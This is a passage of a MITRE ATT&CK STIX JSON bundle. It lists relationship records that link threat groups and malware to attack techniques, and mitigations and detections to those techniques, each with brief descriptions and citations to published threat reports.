2018)","relationship_type":"uses","source_ref":"campaign--712e38c3-a656-426a-9b3b-a6bfb63294c6","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5611881f-a9a3-4527-99a6-e717630703bb","type":"relationship","created":"2020-02-21T21:35:25.887Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-18T12:22:50.955Z","description":"Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process. ","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5614b582-eeed-4a52-a2e0-2f756f03e26c","type":"relationship","created":"2021-10-12T20:50:46.945Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.","url":"https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/","source_name":"Security Intelligence More Eggs Aug 2019"},{"description":"McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html","source_name":"FireEye FIN6 Apr 2019"}],"modified":"2021-10-12T20:50:46.945Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has obtained and used tools such as [Mimikatz](https://attack.mitre.org/software/S0002), [Cobalt Strike](https://attack.mitre.org/software/S0154), and [AdFind](https://attack.mitre.org/software/S0552).(Citation: Security Intelligence More Eggs Aug 2019)(Citation: FireEye FIN6 Apr 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--561afb90-e94a-410f-9e6f-6880d996799f","created":"2023-06-14T19:41:53.647Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T19:31:10.536Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) can use concealed storage mechanisms including an NTFS or FAT-16 filesystem encrypted with CAST-128 in CBC mode.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--561ccbcd-578f-4af2-81aa-8594796b6909","created":"2022-05-27T13:54:57.722Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike AWS User Federation Persistence","description":" Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023.","url":"https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-10T17:27:50.449Z","description":"Ensure that low-privileged user accounts do not have permission to add access keys to accounts. In AWS environments, prohibit users from calling the `sts:GetFederationToken` API unless explicitly required.(Citation: Crowdstrike AWS User Federation Persistence)","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--561f217e-8392-40b3-84a7-29fbd1399d88","type":"relationship","created":"2021-03-29T13:12:00.941Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ANSSI RYUK RANSOMWARE","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf","description":"ANSSI. (2021, February 25). RYUK RANSOMWARE. Retrieved March 29, 2021."}],"modified":"2021-03-29T13:12:00.941Z","description":"[Ryuk](https://attack.mitre.org/software/S0446) can use stolen domain admin accounts to move laterally within a victim domain.(Citation: ANSSI RYUK RANSOMWARE)","relationship_type":"uses","source_ref":"malware--a020a61c-423f-4195-8c46-ba1d21abba37","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--56213677-9ebd-475c-b7a1-be35665dd4e6","created":"2024-09-04T21:27:50.311Z","revoked":false,"external_references":[{"source_name":"Talos Manjusaka 2022","description":"Asheer Malhotra & Vitor Ventura. (2022, August 2). Manjusaka: A Chinese sibling of Sliver and Cobalt Strike. Retrieved September 4, 2024.","url":"https://blog.talosintelligence.com/manjusaka-offensive-framework/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T21:27:50.311Z","description":"[Manjusaka](https://attack.mitre.org/software/S1156) gathers credentials from Chromium-based browsers.(Citation: Talos Manjusaka 2022)","relationship_type":"uses","source_ref":"malware--dd2ad3d7-d7ef-4af5-a919-bfe8f2571705","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--562d2865-7133-4cdb-b280-c90105b0a118","type":"relationship","created":"2021-03-03T20:26:15.800Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AppleJeus Feb 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021."}],"modified":"2021-03-03T20:26:15.800Z","description":"[AppleJeus](https://attack.mitre.org/software/S0584) has used a valid digital signature from Sectigo to appear legitimate.(Citation: CISA AppleJeus Feb 2021) ","relationship_type":"uses","source_ref":"malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5632a2de-e231-4ef0-971b-6cdb2750d410","type":"relationship","created":"2020-03-12T14:18:38.929Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-27T18:25:03.508Z","description":"In some cases a local DNS sinkhole may be used to help prevent behaviors associated with dynamic resolution.","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--563c1b39-f32b-4dfd-b3c1-47fb66ce9eb7","type":"relationship","created":"2021-08-11T13:38:00.294Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-08-11T13:38:00.294Z","description":"[Empire](https://attack.mitre.org/software/S0363) includes various modules for enumerating Group Policy.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--563e67ee-9cc8-4f44-9d3a-3611e19a1a3c","created":"2022-01-11T16:04:19.137Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Winnti April 2015","description":"Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.","url":"https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:02:53.992Z","description":"[Winnti for Windows](https://attack.mitre.org/software/S0141) can check if the explorer.exe process is responsible for calling its install function.(Citation: Novetta Winnti April 2015)","relationship_type":"uses","source_ref":"malware--d3afa961-a80c-4043-9509-282cdf69ab21","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56465210-d279-4982-a9fa-94a69f5b0b80","type":"relationship","created":"2020-06-10T19:31:48.069Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.402Z","description":"[build_downer](https://attack.mitre.org/software/S0471) has the ability to determine the local time to ensure malware installation only happens during the hours that the infected system is active.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--d2c7f8ad-3b50-4cfa-bbb1-799eff06fb40","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5647a587-99fc-497b-80b7-ed63ee6126a6","created":"2022-08-16T17:56:17.405Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit 42 PingPull Jun 2022","description":"Unit 42. (2022, June 13). GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool. Retrieved August 7, 2022.","url":"https://unit42.paloaltonetworks.com/pingpull-gallium/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T19:33:24.093Z","description":"[PingPull](https://attack.mitre.org/software/S1031) can mimic the names and descriptions of legitimate services such as `iphlpsvc`, `IP Helper`, and `Onedrive` to evade detection.(Citation: Unit 42 PingPull Jun 2022)","relationship_type":"uses","source_ref":"malware--3a0f6128-0a01-421d-8eca-e57d8671b1f1","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5647be4e-ef31-4b7d-a2d1-7feefafab345","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objsee mac malware 2017","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"modified":"2020-01-17T22:37:17.371Z","description":"[iKitten](https://attack.mitre.org/software/S0278) lists the current processes running.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56499082-a21f-4d6d-9bdd-8ee6b2dfcad4","type":"relationship","created":"2020-10-19T16:48:08.525Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - AAA","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#38","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - AAA. Retrieved October 19, 2020."}],"modified":"2020-10-21T01:45:59.168Z","description":"Some embedded network devices are capable of storing passwords for local accounts in either plain-text or encrypted formats. Ensure that, where available, local passwords are always encrypted, per vendor recommendations. (Citation: Cisco IOS Software Integrity Assurance - AAA)","relationship_type":"mitigates","source_ref":"course-of-action--49c06d54-9002-491d-9147-8efb537fbd26","target_ref":"attack-pattern--4ffc1794-ec3b-45be-9e52-42dbcb2af2de","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--564de5da-7ecc-45c7-bbd5-619a8f316f70","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-17T00:19:38.032Z","description":"[BACKSPACE](https://attack.mitre.org/software/S0031) is capable of enumerating and making modifications to an infected system's Registry.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--fb261c56-b80e-43a9-8351-c84081e7213d","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5650777d-f905-4c09-8fd0-0e205178a830","type":"relationship","created":"2020-03-18T23:12:20.804Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","source_name":"FireEye APT34 Dec 2017"}],"modified":"2020-03-18T23:12:20.804Z","description":"[POWRUNER](https://attack.mitre.org/software/S0184) may collect local group information by running net localgroup administrators or a series of other commands on a victim.(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--56547ce9-04bc-4540-8865-69082bac4e63","created":"2023-07-28T18:17:44.253Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T18:38:18.948Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has researched employees to target for social engineering attacks.(Citation: Mandiant FIN13 Aug 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5655b007-87df-410e-9796-b792700e4840","type":"relationship","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.874Z","description":"Monitor for the activation or invocation of an instance (ex: instance.start within GCP Audit Logs)","source_ref":"x-mitre-data-component--f8213cde-6b3a-420d-9ab7-41c9af1a919f","target_ref":"attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--565aa787-f255-45c6-9396-8a53bbb3950e","created":"2022-06-10T12:53:56.023Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group LAPSUS Apr 2022","description":"Brown, D., et al. (2022, April 28). LAPSUS$: Recent techniques, tactics and procedures. Retrieved December 22, 2022.","url":"https://research.nccgroup.com/2022/04/28/lapsus-recent-techniques-tactics-and-procedures/"},{"source_name":"MSTIC DEV-0537 Mar 2022","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-21T17:38:43.048Z","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has used compromised credentials and/or session tokens to gain access into a victim's VPN, VDI, RDP, and IAMs.(Citation: MSTIC DEV-0537 Mar 2022)(Citation: NCC Group LAPSUS Apr 2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--565d2d07-0e2e-44e5-bc37-5a64e49394ee","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.justice.gov/file/1080281/download","description":"Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.","source_name":"DOJ GRU Indictment Jul 2018"}],"modified":"2019-09-09T17:44:35.439Z","description":"Once [APT28](https://attack.mitre.org/groups/G0007) gained access to the DCCC network, the group then proceeded to use that access to compromise the DNC network.(Citation: DOJ GRU Indictment Jul 2018)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--565d59a0-e2a6-45d2-b655-cff8d02f7ebf","created":"2022-04-07T22:40:55.377Z","x_mitre_version":"0.1","external_references":[{"source_name":"TrendMicro Confucius APT Feb 2018","url":"https://www.trendmicro.com/en_us/research/18/b/deciphering-confucius-cyberespionage-operations.html","description":"Lunghi, D and Horejsi, J. (2018, February 13). Deciphering Confucius: A Look at the Group's Cyberespionage Operations. Retrieved December 26, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Confucius](https://attack.mitre.org/groups/G0142) has used VBScript to execute malicious code.(Citation: TrendMicro Confucius APT Feb 2018)","modified":"2022-04-07T22:40:55.377Z","relationship_type":"uses","source_ref":"intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--565d5e3a-8a10-44cd-b45d-75fe2abe2677","created":"2024-08-07T20:31:33.309Z","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-07T20:31:33.309Z","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) can collect files from compromised hosts.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--565da748-a5c8-417c-8c55-828c6e9f2c35","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos GravityRAT","description":"Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.","url":"https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"}],"modified":"2019-04-24T23:21:59.171Z","description":"[GravityRAT](https://attack.mitre.org/software/S0237) steals files based on an extension list if a USB drive is connected to the system.(Citation: Talos GravityRAT)","relationship_type":"uses","source_ref":"malware--1d1fce2f-0db5-402b-9843-4278a0694637","target_ref":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--565f6cdf-e29b-430d-8b42-e0b0b93fa994","type":"relationship","created":"2019-07-09T17:54:21.445Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.","url":"https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/","source_name":"Unit42 Emissary Panda May 2019"}],"modified":"2021-10-12T19:21:39.460Z","description":"(Citation: Unit42 Emissary Panda May 2019)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56682d47-48ad-4a8c-9f55-124f7cb90e5b","type":"relationship","created":"2020-10-08T20:15:21.359Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf","description":"FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.","source_name":"FireEye FIN6 April 2016"}],"modified":"2020-10-19T18:18:50.434Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has removed files from victim machines.(Citation: FireEye FIN6 April 2016)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--566913fd-3f30-4d33-b275-4a8c8f31a1c3","created":"2022-06-15T12:53:57.310Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kevin](https://attack.mitre.org/software/S1020) can send data from the victim host through a DNS C2 channel.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-06-15T12:53:57.310Z","relationship_type":"uses","source_ref":"malware--e7863f5d-cb6a-4f81-8804-0a635eec160a","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56694ef7-3ce3-4d8a-914b-71a201dc5921","type":"relationship","created":"2021-02-08T21:41:25.791Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Volatile Cedar March 2015","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf","description":"Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."},{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}],"modified":"2021-02-10T18:12:09.867Z","description":"[Explosive](https://attack.mitre.org/software/S0569) has leveraged its keylogging capabilities to gain access to administrator accounts on target servers.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021) 